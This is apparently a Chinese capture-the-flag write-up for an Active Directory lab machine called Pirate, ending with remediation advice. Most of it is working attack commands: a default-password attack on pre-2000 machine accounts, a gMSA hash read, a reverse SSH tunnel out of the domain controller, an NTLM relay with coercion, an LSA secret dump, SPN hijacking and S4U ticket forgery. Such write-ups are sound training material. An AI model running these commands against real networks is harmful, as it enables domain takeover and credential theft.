执行摘要

Pirate 是 Active Directory 域环境。入口为低权限域用户 pentest。通过 Pre-Windows 2000 计算机账户默认密码读取 gMSA,WinRM 立足 DC01 后进入仅内网的 WEB01。WEB01 的 LSA 泄露 a.white 明文,该用户可强制重置 a.white_adm。a.white_adm 拥有到 HTTP/WEB01 的约束委派(协议转换)以及 IT 组的 WriteSPN。将 HTTP/WEB01.pirate.htb 劫持到 DC01$ 后,S4U2Proxy 票可改写成 CIFS/DC01,最终拿到域管。


阶段一:信息收集

1.1 端口与域

echo '10.129.244.95 pirate.htb DC01.pirate.htb' | sudo tee -a /etc/hosts
echo '192.168.100.2 WEB01.pirate.htb WEB01' | sudo tee -a /etc/hosts

nxc smb  10.129.244.95 -u pentest -p 'p3nt3st2025!&' --shares
nxc ldap 10.129.244.95 -u pentest -p 'p3nt3st2025!&' --users --computers --groups
nxc ldap 10.129.244.95 -u pentest -p 'p3nt3st2025!&' -M maq
impacket-findDelegation 'pirate.htb/pentest:p3nt3st2025!&' -dc-ip 10.129.244.95

结果:

主机 角色 要点
DC01.pirate.htb 域控 · Server 2019 外网 + 192.168.100.1(Hyper-V)
WEB01.pirate.htb 成员服务器 仅内网 192.168.100.2,SMB 未签名
MS01$ / EXCH01$ 计算机账户 Pre2k 默认密码,主机未上线

关键缺陷:

  • LDAP signing = None,channel binding = Never → 可 NTLM Relay 到 LDAP
  • DC01 SMB signing = True;WEB01 = False
  • MachineAccountQuota = 10
  • a.white 对 a.white_adm 有 ForceChangePassword
  • a.white_adm ∈ IT(WriteSPN),约束委派 + 协议转换 → HTTP/WEB01

Kerberos 前必须对时,偏差大于 5 分钟会 KRB_AP_ERR_SKEW:

sudo timedatectl set-ntp false
sudo ntpdate -u 10.129.244.95

阶段二:Pre2k → gMSA → WinRM

2.1 Pre-Windows 2000 计算机账户

# 密码对会返回 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT,不是失败
nxc smb 10.129.244.95 -u 'MS01$' -p 'ms01'

impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip 10.129.244.95
nxc ldap DC01.pirate.htb -u 'MS01$' -p 'ms01' -k --gmsa

gMSA NTLM 会轮换,每次重读。gMSA_ADFS_prod$ 可 WinRM 到 DC01 和 WEB01。

nxc winrm 10.129.244.95 -u 'gMSA_ADFS_prod$' -H '<hash>' -X 'ipconfig /all'

必须用 -X(PowerShell)。-x 走 cmd,gMSA 没有 Invoke 权限。

2.2 内网隧道

WEB01 只在 192.168.100.2。DC01 出站拦 22,放行 8001/8002/8080。用 DC01 自带 OpenSSH 反向转发,避免上传大体积 exe:

# Kali 监听 8002
ssh-keygen -t ed25519 -f /tmp/dc01_tunnel -N ''
/usr/sbin/sshd -p 8002 -o 'ListenAddress=0.0.0.0'

# WinRM 会话结束会杀掉子进程,ssh -N 必须挂在长超时会话里
nxc winrm 10.129.244.95 -u 'gMSA_ADFS_prod$' -H '<hash>' --timeout 86400 -X \
  '$p=Join-Path $env:TEMP "id_ed25519"; C:\Windows\System32\OpenSSH\ssh.exe -i $p -N -o StrictHostKeyChecking=no -o BatchMode=yes -p 8002 -R 10445:192.168.100.2:445 -R 15985:192.168.100.2:5985 geek@<KALI>'

之后 Kali 侧 nxc smb 127.0.0.1 --port 10445(--port 才是端口,-p 是密码)。


阶段三:WEB01 管理员

3.1 NTLM Relay → WEB01$

WEB01 经 DC01 NAT 能回连 Kali 的 445/8080,非标端口(如 8445)不通。

# ntlmrelayx 在 stdin EOF 时会立刻退出
tail -f /dev/null | python3 -u $(which ntlmrelayx.py || echo /usr/share/doc/python3-impacket/examples/ntlmrelayx.py) \
  -t ldap://DC01.pirate.htb -i --delegate-access -smb2support --remove-mic

nxc smb 127.0.0.1 --port 10445 -u 'gMSA_ADFS_prod$' -H '<hash>' \
  -M coerce_plus -o LISTENER=<KALI_VPN_IP>

LDAP 交互壳:

set_shadow_creds WEB01$
# 或 set_rbcd WEB01$ ATTACK02$
certipy-ad auth -pfx web01.pfx -u 'WEB01$' -domain PIRATE.HTB -dc-ip 10.129.244.95
nxc smb WEB01.pirate.htb -u 'WEB01$' -H <hash> --delegate Administrator --lsa --sam

LSA 泄露 PIRATE\a.white:E2nvAOKSz5Xz2MJu。user.txt 在 WEB01 管理员桌面(f595****1d4e)。

3.2 直接复用 a.white

nxc ldap 10.129.244.95 -u a.white -p 'E2nvAOKSz5Xz2MJu'
nxc smb  10.129.244.95 -u a.white -p 'E2nvAOKSz5Xz2MJu'

阶段四:SPN 劫持 → 域管

4.1 ForceChangePassword

bloodyAD --host DC01.pirate.htb -d pirate.htb \
  -u a.white -p 'E2nvAOKSz5Xz2MJu' -i 10.129.244.95 \
  set password a.white_adm 'PirateAdm2026!'

4.2 迁移 HTTP SPN

SPN 在域内唯一,必须先从 WEB01$ 删除再加到 DC01$:

bloodyAD --host DC01.pirate.htb -d pirate.htb \
  -u a.white_adm -p 'PirateAdm2026!' -i 10.129.244.95 \
  msldap delspn "CN=WEB01,CN=Computers,DC=pirate,DC=htb" "HTTP/WEB01.pirate.htb"

bloodyAD --host DC01.pirate.htb -d pirate.htb \
  -u a.white_adm -p 'PirateAdm2026!' -i 10.129.244.95 \
  msldap addspn "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb" "HTTP/WEB01.pirate.htb"

此时 KDC 认为 HTTP/WEB01.pirate.htb 属于 DC01$。

4.3 S4U + altservice

-spn 仍是委派目标,改写的是 -altservice:

impacket-getST 'PIRATE.HTB/a.white_adm:PirateAdm2026!' \
  -spn HTTP/WEB01.pirate.htb \
  -impersonate Administrator \
  -dc-ip 10.129.244.95 \
  -altservice CIFS/DC01.pirate.htb

export KRB5CCNAME=./Administrator@[email protected]
nxc smb DC01.pirate.htb -k --use-kcache -x 'type C:\Users\Administrator\Desktop\root.txt'

root.txt:80dd****0ad6。收尾把 HTTP SPN 还原回 WEB01$。


注意事项

场景 做法
Kerberos KRB_AP_ERR_SKEW ntpdate -u DC,关本机 NTP
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT 密码对,改用 Kerberos / LDAP -k
nxc -p vs --port -p 是密码;改端口必须 --port
gMSA WinRM 只用 -X(PowerShell)
目标不出 22 sshd 改 8002
WinRM 保活隧道 --timeout 86400 前台挂 ssh -N
ntlmrelayx 秒退 tail -f /dev/null | ntlmrelayx ...
WEB01 回连 Kali VPN 的 445/8080,不要用 8445
SPN 劫持 先 del 再 add
密码中的 !& 全程单引号
gMSA 哈希 每次重读 --gmsa

缺陷与修复建议

问题 建议
Pre-Windows 2000 计算机默认密码 禁用兼容访问;轮换未使用的机器账户密码
LDAP 未强制签名 / 无 channel binding 强制 LDAP signing + channel binding
WEB01 SMB 未签名 全域开启 SMB signing
gMSA 可读面过大 收敛 PrincipalsAllowedToReadPassword 与 Remote Management Users
普通用户可重置高权限口令 去掉 ForceChangePassword
IT 组对计算机 WriteSPN 按最小权限收回
约束委派 + 协议转换到 HTTP 收紧委派目标,避免可劫持 SPN
LSA 存储域用户明文 禁止把域密码写入 LSA Secrets